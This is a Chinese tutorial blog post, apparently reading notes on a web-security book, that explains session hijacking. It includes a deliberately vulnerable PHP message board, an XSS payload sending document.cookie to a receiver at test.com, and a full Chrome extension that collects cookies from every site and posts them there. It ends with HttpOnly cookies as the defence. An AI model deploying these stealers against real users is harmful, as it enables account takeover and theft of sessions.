Session劫持原理,技术实现与防范

(转载附原文链接:http://jahng.cn/node/58)

今天4月1号( 这篇博客写了两个晚上 ),下午公司没有像往常一样放眼保健操的音乐,而是放了二十分钟张国荣的歌,挺赞的!

看了吴翰清的《白帽子讲Web安全》这本书的认证与会话管理这一章的内容,所以写这篇读书笔记。在看懂了书上提到的知识点的基础上,加上一些自己的理解,再通过代码实现,来记录一下自己对 session 安全的理解。

一般的 Web 登陆认证实现方案是,用户认证登录通过后,在服务端维护在线用户的 Session ,用户下次访问网站的时候,只要告诉服务器使用哪一个session就行,浏览器是通过把当前用户的SessionID告诉服务器,服务器则是通过这个SessionID来识别当前用户的session,因为http是无状态的,所以一般的做法是将SessionID保存在cookie中。

SessionID是用户登陆之后才有的(假设网站上没有未登录的情况使用session),而服务端又是通过SessionID来认证当前登录用户,所以如果这个SessionID在生命周期内被别人窃取,那么攻击的人就可以直接使用这个SessionID来登录账号,不需要在攻击登录过程(比如暴力破解密码等),这就是Session劫持。

那么,如何实现Session劫持呢?

第一种方法:

上面提到了,SessionID常常保存在cookie里面,cookie是存在客户端浏览器的,所以我们可以使用XSS来获取用户的SessionID。

场景:假设有一个网站,这个网站需要一个留言板的功能,登录的用户可以在这个留言板留言,并且所有登录用户都可以浏览留言列表。公司技术老大觉得这个功能太简单了,就决定让一个刚毕业没有任何项目经验的小雏鹰来做这个功能。然后小雏鹰很快完成了。如下代码:

<?php
    session_start();//假设用户已经登录
    if(isset($_GET['message'])){    
        //把数据存数据库,没有任何验证,过滤或者转义
        file_put_contents('message.log',$_GET['message']."\r\n",FILE_APPEND);
    }
    $messageList = explode("\r\n",trim(file_get_contents('message.log'),"\r\n"));
?>
<html>
    <head>
        <meta charset="utf-8"/>
    </head>
    <body>
        <form action="" method="get">
            <textarea name="message" cols="30" rows="10"></textarea>
            <input type="submit" value="留言">
        </form>
        <ul>
            <?php foreach($messageList as $message){ ?>
            <li><?php echo $message; ?></li>
            <?php } ?>
        </ul>
    </body>
</html>

功能做好了,然后有一个老鸟骇客通过观察发现了这个网站存在XSS漏洞,然后他准备通过这个漏洞来获取这个网站登录用户的SessionID。

首先简单实现一个Cookie接收器,假设域名接收器的访问链接是:https://www.test.com/getCookie.php

<?php
$cookie = $_GET['cookie'];

// 后面的代码就是把cookie写入数据库

然后他在该网站上注册了个账号,并在留言板留言了,留言的内容如下:

<script>window.location.href = 'https://www.test.com/getCookie.php?cookie=' + document.cookie;</script>

一切都准备妥当了,最后,其他登录用户访问留言列表页的时候,这段XSS Payload被浏览器解析执行,跳转到https://www.test.com/getCookie.php这个链接,并把当前用户的cooie也带过去了。

https://www.test.com/getCookie.php?cookie=PHPSESSID=8jbvd2vqqb2ojfnioplatklor2

这个时候,攻击者就可以使用这个SessionID登录用户的账号了。

第二种方法

chrome扩展是用来扩展chrome浏览器功能的,比如屏幕截图等。很多用户都会使用各种各样的扩展来简化自己的工作,开发人员(比如我)也可以自己开发自己的扩展用来简化自己的开发工作。但是非技术人员很少开率一个chrome的扩展是否安全。chrome是可以读取用户浏览器的cookie的,我这里实现一下如何使用chrome extension来实现session劫持。

首先来开发一个chrome extension,功能是用来窃取用户客户端浏览器的cookie。

创建一个文件夹叫session_hijacking,以下文件都保存在这个文件夹。

先定义manifest.json文件,这个文件是定义chrome扩展以及一些权限配置。

{
     "manifest_version": 2,
     "name": "Session Hijacking Demo",
     "version": "1.0.0.0",
     "content_scripts":[{
      "matches":["http://*/*","https://*/*"],
      "js":["jquery-1.8.3.min.js","content.js"]     
      }],
    "background":{
    "scripts":["jquery-1.8.3.min.js","background.js"]
    }
}

然后写一个content.js,这个是嵌入到网页的脚本文件,在这个文件里面我们通过js获取客户端的cookie,然后传递给background.js这个文件做处理,这个文件是干嘛的?下一步说明。

var msg = {
		cookie: document.cookie,
	};
//chrome.runtime.sendMessage 这个函数向 background.js 请求数据 
chrome.runtime.sendMessage(msg);

接着我们写一个background.js文件,这个文件是后台脚本,可以简单理解为后台程序,通过这个文件我们跟服务器交互,所以background.js的代码主要实现,从content.js获取用户客户端cookie,然后发送给服务器端的cookie接收器。

//chrome.runtime.onMessage.addListener 这个函数监听content.js 的请求
chrome.runtime.onMessage.addListener(function(request, sender, sendRequest){  
var cookie = request.cookie;
  $.ajax({
    method:'get',
    url:'http://www.test.com/getCookie.php',
    data: 'cookie='+cookie,
    success:function(data){       
        console.log(data);
    }
  });

})

因为我们依赖了jquery,所以把jquery-1.8.3.min.js文件也放到session_hijacking目录下面,最后我们的目录结构应该是这样的:

dir.gif

然后把session_hijacking文件夹拖到chrome的设置页面的扩展程序安装,如图所示:

install.gif

chrome extension准备好了,然后我们要在www.test.com对应的服务端开发一个cookie接收器,文件名叫getCookie.php

<?php
$cookie = $_GET['cookie'];

// 后面的代码就是把cookie写入数据库

echo 'Session劫持成功,服务器端成功保存该用户的Cookie!'.$cookie;

最后我们使用csdn做测试(又是csdn,之前我演示CSRF的时候就是用csdn做小白鼠的)。登录csdn,打开chrome extension的背景页,我们可以看到控制台如下信息:

console.gif

所以呢,chrome extension不要随便乱用了。

总结,上面演示的两种方法其实原理都是一样的,就是使用各种手段通过 js 获取用户客户端的cookie,所以防范这种情况,我们可以通过设置cookie HttpOnly 来防止客户端js获取到cookie。比如drupal的网站就不能通过js获取到对应的SessionID,不信你看下图: 这个是通过浏览器调试工具看到的cookie:

sesisonID.gif

这个是通过document.cookie获取到的cookie:

documentcookie.gif

我们复制这个SessionID我们看到内容如下,使用了HttpOnly:

SESS7e15773ea34aa5ed2304263fc16a295e=RWE-6_ADzeBuw0rZT6Ef6GGmgTuSSTrp6XO-c8688gs; expires=Sat, 22 Apr 2017 18:52:50 GMT; path=/; domain=.test.com; HttpOnly